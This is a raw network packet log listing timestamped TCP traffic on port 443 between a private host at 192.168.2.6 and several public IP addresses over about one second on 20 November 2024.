Nov 20, 2024 00:19:31.311543941 CET	443	49864	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.311655998 CET	49864	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.312338114 CET	49864	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.312344074 CET	443	49864	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.312357903 CET	49864	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.312361956 CET	443	49864	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.313313007 CET	443	49865	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.314138889 CET	443	49865	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.314182997 CET	49865	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.314753056 CET	49865	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.314762115 CET	443	49865	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.314770937 CET	49865	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.314774990 CET	443	49865	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.319072008 CET	443	49868	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.319117069 CET	443	49868	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.319155931 CET	49868	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.324088097 CET	49874	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.324100018 CET	443	49874	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.324157000 CET	49874	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.326859951 CET	49875	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.326894999 CET	443	49875	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.326955080 CET	49875	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.328277111 CET	49876	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.328298092 CET	443	49876	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.328353882 CET	49876	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.328968048 CET	49876	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.328979969 CET	443	49876	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.329113960 CET	49874	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.329123974 CET	443	49874	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.329145908 CET	49868	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.329166889 CET	443	49868	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.329193115 CET	49868	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.329200029 CET	443	49868	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.329309940 CET	49875	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.329335928 CET	443	49875	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.331698895 CET	49877	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.331723928 CET	443	49877	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.331778049 CET	49877	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.331935883 CET	49877	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.331954002 CET	443	49877	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.342324972 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.342396021 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.342452049 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.342458010 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.342468977 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.342495918 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.342503071 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.342510939 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.342542887 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.364008904 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.364029884 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.364043951 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.364074945 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.364106894 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.364119053 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.364125967 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.364152908 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.364176035 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.433856964 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.433918953 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.433943033 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.433949947 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.433980942 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.434003115 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.436022997 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.436067104 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.436100006 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.436105013 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.436151981 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.458127022 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.458152056 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.458190918 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.458199024 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.458226919 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.458247900 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.460021019 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.460036039 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.460097075 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.460104942 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.460304022 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.460403919 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.460475922 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.460481882 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.460503101 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.460526943 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.460541010 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.460762024 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.460768938 CET	443	49863	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.460851908 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.460870028 CET	49863	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.468548059 CET	49878	443	192.168.2.6	172.217.16.132
Nov 20, 2024 00:19:31.468558073 CET	443	49878	172.217.16.132	192.168.2.6
Nov 20, 2024 00:19:31.468812943 CET	49878	443	192.168.2.6	172.217.16.132
Nov 20, 2024 00:19:31.469024897 CET	49878	443	192.168.2.6	172.217.16.132
Nov 20, 2024 00:19:31.469032049 CET	443	49878	172.217.16.132	192.168.2.6
Nov 20, 2024 00:19:31.523823023 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.523889065 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.523909092 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.523936033 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.523950100 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.524202108 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.525794029 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.525847912 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.525885105 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.525890112 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.525924921 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.525938034 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.527522087 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.527565956 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.527602911 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.527607918 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.527648926 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.529359102 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.529407978 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.529429913 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.529434919 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.529491901 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.535347939 CET	49879	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.535387039 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.535469055 CET	49879	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.535686016 CET	49879	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.535703897 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.615480900 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.615529060 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.615566969 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.615575075 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.615603924 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.615618944 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.616610050 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.616655111 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.616691113 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.616694927 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.616733074 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.616749048 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.617049932 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.617095947 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.617125034 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.617130041 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.617161036 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.617180109 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.617923021 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.617964983 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.618000984 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.618005991 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.618040085 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.618052006 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.619113922 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.619174004 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.619200945 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.619206905 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.619246960 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.619710922 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.619750977 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.619786978 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.619791031 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.619803905 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.619878054 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.620951891 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.620958090 CET	443	49867	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.620996952 CET	49867	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.661649942 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:31.661674976 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:31.662246943 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:31.662448883 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:31.662461042 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:31.673480988 CET	49881	443	192.168.2.6	184.28.90.27
Nov 20, 2024 00:19:31.673513889 CET	443	49881	184.28.90.27	192.168.2.6
Nov 20, 2024 00:19:31.673727036 CET	49881	443	192.168.2.6	184.28.90.27
Nov 20, 2024 00:19:31.674686909 CET	49881	443	192.168.2.6	184.28.90.27
Nov 20, 2024 00:19:31.674702883 CET	443	49881	184.28.90.27	192.168.2.6
Nov 20, 2024 00:19:31.749813080 CET	443	49873	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.752543926 CET	49873	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.752613068 CET	443	49873	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.753030062 CET	49873	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.753043890 CET	443	49873	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.924802065 CET	443	49873	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.924870014 CET	443	49873	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.924942970 CET	49873	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.924977064 CET	443	49873	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.925007105 CET	443	49873	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.925100088 CET	49873	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.925663948 CET	49873	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.925693989 CET	443	49873	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.925719023 CET	49873	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.925731897 CET	443	49873	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.929061890 CET	49885	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.929107904 CET	443	49885	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:31.929487944 CET	49885	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.929728031 CET	49885	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:31.929745913 CET	443	49885	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.055228949 CET	443	49877	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.055728912 CET	49877	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.055744886 CET	443	49877	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.056226015 CET	49877	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.056230068 CET	443	49877	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.070353985 CET	443	49874	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.070892096 CET	49874	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.070904970 CET	443	49874	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.071332932 CET	49874	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.071337938 CET	443	49874	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.085669994 CET	443	49875	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.086510897 CET	49875	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.086534977 CET	443	49875	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.087332010 CET	49875	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.087342978 CET	443	49875	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.096263885 CET	443	49876	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.099564075 CET	49876	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.099582911 CET	443	49876	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.100491047 CET	49876	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.100497007 CET	443	49876	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.110970020 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.111191034 CET	49879	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.111203909 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.112283945 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.112343073 CET	49879	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.112657070 CET	49879	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.112715960 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.112804890 CET	49879	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.112811089 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.128475904 CET	443	49878	172.217.16.132	192.168.2.6
Nov 20, 2024 00:19:32.128727913 CET	49878	443	192.168.2.6	172.217.16.132
Nov 20, 2024 00:19:32.128746986 CET	443	49878	172.217.16.132	192.168.2.6
Nov 20, 2024 00:19:32.129793882 CET	443	49878	172.217.16.132	192.168.2.6
Nov 20, 2024 00:19:32.129848957 CET	49878	443	192.168.2.6	172.217.16.132
Nov 20, 2024 00:19:32.130945921 CET	49878	443	192.168.2.6	172.217.16.132
Nov 20, 2024 00:19:32.131019115 CET	443	49878	172.217.16.132	192.168.2.6
Nov 20, 2024 00:19:32.161555052 CET	443	49877	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.161668062 CET	443	49877	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.161705971 CET	443	49877	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.161710978 CET	49877	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.161760092 CET	49877	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.162046909 CET	49877	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.162058115 CET	443	49877	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.162069082 CET	49877	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.162074089 CET	443	49877	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.162854910 CET	49879	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.169774055 CET	49888	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.169792891 CET	443	49888	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.169883013 CET	49888	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.170355082 CET	49888	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.170367956 CET	443	49888	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.173877001 CET	49878	443	192.168.2.6	172.217.16.132
Nov 20, 2024 00:19:32.173887968 CET	443	49878	172.217.16.132	192.168.2.6
Nov 20, 2024 00:19:32.174303055 CET	443	49874	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.174360037 CET	443	49874	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.174657106 CET	49874	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.175779104 CET	49874	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.175786018 CET	443	49874	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.175863981 CET	49874	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.175868034 CET	443	49874	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.179342985 CET	49889	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.179383993 CET	443	49889	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.179471016 CET	49889	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.179594040 CET	49889	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.179621935 CET	443	49889	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.206860065 CET	443	49876	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.206873894 CET	443	49875	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.207391977 CET	443	49876	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.207463980 CET	49876	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.207585096 CET	49876	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.207593918 CET	443	49876	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.207602978 CET	49876	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.207607985 CET	443	49876	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.207714081 CET	443	49875	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.207766056 CET	49875	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.207786083 CET	49875	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.207797050 CET	443	49875	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.207808018 CET	49875	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.207813978 CET	443	49875	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.210969925 CET	49891	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.210980892 CET	443	49891	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.211076021 CET	49891	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.211359024 CET	49890	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.211369038 CET	443	49890	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.211494923 CET	49890	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.212084055 CET	49891	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.212095976 CET	443	49891	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.212199926 CET	49890	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.212210894 CET	443	49890	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.217781067 CET	49878	443	192.168.2.6	172.217.16.132
Nov 20, 2024 00:19:32.230454922 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.230475903 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.230484009 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.230505943 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.230532885 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.230561972 CET	49879	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.230585098 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.230597019 CET	49879	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.230627060 CET	49879	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.320044994 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.320065975 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.320113897 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.320137978 CET	49879	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.320151091 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.320172071 CET	49879	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.327541113 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.327562094 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.327591896 CET	49879	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.327599049 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.327606916 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.327635050 CET	49879	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.327657938 CET	49879	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.327662945 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.327673912 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.327869892 CET	49879	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.328453064 CET	49879	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.328469992 CET	443	49879	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.330039978 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.330271006 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.330286026 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.331746101 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.331856966 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.332228899 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.332309961 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.332375050 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.364389896 CET	443	49881	184.28.90.27	192.168.2.6
Nov 20, 2024 00:19:32.364450932 CET	49881	443	192.168.2.6	184.28.90.27
Nov 20, 2024 00:19:32.368556976 CET	49881	443	192.168.2.6	184.28.90.27
Nov 20, 2024 00:19:32.368565083 CET	443	49881	184.28.90.27	192.168.2.6
Nov 20, 2024 00:19:32.368776083 CET	443	49881	184.28.90.27	192.168.2.6
Nov 20, 2024 00:19:32.375344038 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.377329111 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.377342939 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.411706924 CET	49881	443	192.168.2.6	184.28.90.27
Nov 20, 2024 00:19:32.417179108 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.450099945 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.450135946 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.450150967 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.450170994 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.450180054 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.450185061 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.450206995 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.450217009 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.450232029 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.450278044 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.466790915 CET	49881	443	192.168.2.6	184.28.90.27
Nov 20, 2024 00:19:32.511332989 CET	443	49881	184.28.90.27	192.168.2.6
Nov 20, 2024 00:19:32.531841040 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.531857014 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.531893015 CET	443	49880	13.107.246.60	192.168.2.6
